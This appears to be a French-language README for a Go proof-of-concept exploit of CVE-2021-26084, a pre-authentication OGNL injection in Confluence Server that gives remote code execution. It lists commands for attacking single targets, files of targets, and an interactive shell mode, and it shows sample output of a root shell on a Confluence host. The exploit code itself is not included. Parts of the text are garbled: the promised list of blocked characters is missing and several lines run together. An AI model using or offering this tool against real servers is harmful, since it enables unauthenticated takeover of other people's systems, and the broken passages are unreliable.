
CVE-2021-26084 - Injection OGNL Webwork Confluence Server (RCE pré-authentification)
Preuve de concept pour CVE-2021-26084.
Injection OGNL dans Confluence Server Webwork (RCE sans authentification)
Ceci est à des fins éducatives uniquement. Je ne suis pas responsable de vos actions. Utilisez à vos propres risques.
En raison de la charge utile, il n'est pas possible de passer certains caractères. La liste ci-dessous est ce que j'ai trouvé lors de mes tests.
"| go run exploit.go -t <target> -i
Exemple
root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Created by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye
exit pour quitter le shell interactifgo run exploit.go -t <target> -c <command>
go run exploit.go -f <file> -c <command>
go mod download
go build exploit.go